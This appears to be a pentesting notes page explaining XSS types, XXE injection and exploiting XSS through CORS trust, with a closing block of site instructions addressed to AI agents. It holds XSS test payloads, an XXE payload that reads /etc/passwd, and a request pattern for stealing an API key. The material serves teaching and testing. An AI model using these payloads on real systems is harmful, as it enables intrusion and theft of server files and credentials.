# XSS

## XSS (Cross site scripting)

XSS occurs when an application includes untrusted data (e.g., user input) in a web page without proper validation or escaping. This allows an attacker to execute arbitrary JavaScript in the context of the victim’s browser.

There are three main types of XSS:

1. **Reflected XSS**: The injected script is reflected back in the response (e.g., in a search result or error message).
2. **Stored XSS**: The injected script is stored on the server (e.g., in a database) and executed when other users view the affected page.
3. **DOM-based XSS**: The vulnerability exists in the client-side code (e.g., JavaScript) rather than the server.

Try:

```
<script>alert('XSS');</script>
```

**Where to look:**

* Search boxes.
* Comment fields.
* URL parameters.
* Form inputs.

**1. Reflected XSS in a URL Parameter**

If the application reflects a URL parameter in the response, you can test for XSS like this:

* URL: `http://example.com/search?q=<script>alert('XSS');</script>`
* If the `alert` pops up, the application is vulnerable.

**2. Stored XSS in a Comment Field**

If the application allows users to post comments, you can test for XSS like this:

* Input: `<script>alert('XSS');</script>`
* Submit the comment and reload the page.
* If the `alert` pops up for other users, the application is vulnerable.

**3. DOM-Based XSS**

If the application uses JavaScript to dynamically update the page, you can test for DOM-based XSS like this:

* Input: `#<script>alert('XSS');</script>`
* If the `alert` pops up, the application is vulnerable.

#### Advanced XSS Payloads

**Using Event Handlers**

```
<img src="x" onerror="alert('XSS')">
```

**Using JavaScript URIs**

```
<a href="javascript:alert('XSS')">Click me</a>
```

**Using SVG Tags**

```
<svg/onload=alert('XSS')>
```

### XML External Entity (XXE) Injection

XML External Entity (XXE) Injection is a vulnerability that occurs when an application processes XML input without properly disabling external entity references. This allows an attacker to:

* Read arbitrary files on the server.
* Perform Server-Side Request Forgery (SSRF).
* Execute remote code in some cases.

**Craft the XXE Payload**

The goal is to define an external entity that reads a file (e.g., `/etc/passwd`) and include it in the response.

```
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE data [
  <!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<data>
  <ID>&xxe;</ID>
</data>
```

**Send the Payload**

Update your request to include the XXE payload:

```
##### WEB-REQUEST #####

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE data [
  <!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<data>
  <ID>&xxe;</ID>
</data>
```

> \[!NOTE]\
> The xml was mentioned and being used in the request before we only changed the xml request.

### Exploiting XSS via CORS trust relationships

Even "correctly" configured CORS establishes a trust relationship between two origins. If a website trusts an origin that is vulnerable to cross-site scripting (XSS), then an attacker could exploit the XSS to inject some JavaScript that uses CORS to retrieve sensitive information from the site that trusts the vulnerable application.

Given the following request:

`GET /api/requestApiKey HTTP/1.1 Host: vulnerable-website.com Origin: https://subdomain.vulnerable-website.com Cookie: sessionid=...`

If the server responds with:

`HTTP/1.1 200 OK Access-Control-Allow-Origin: https://subdomain.vulnerable-website.com Access-Control-Allow-Credentials: true`

Then an attacker who finds an XSS vulnerability on `subdomain.vulnerable-website.com` could use that to retrieve the API key, using a URL like:

`https://subdomain.vulnerable-website.com/?xss=<script>cors-stuff-here</script>`


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://foothold.gitbook.io/blog/notes/xss.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.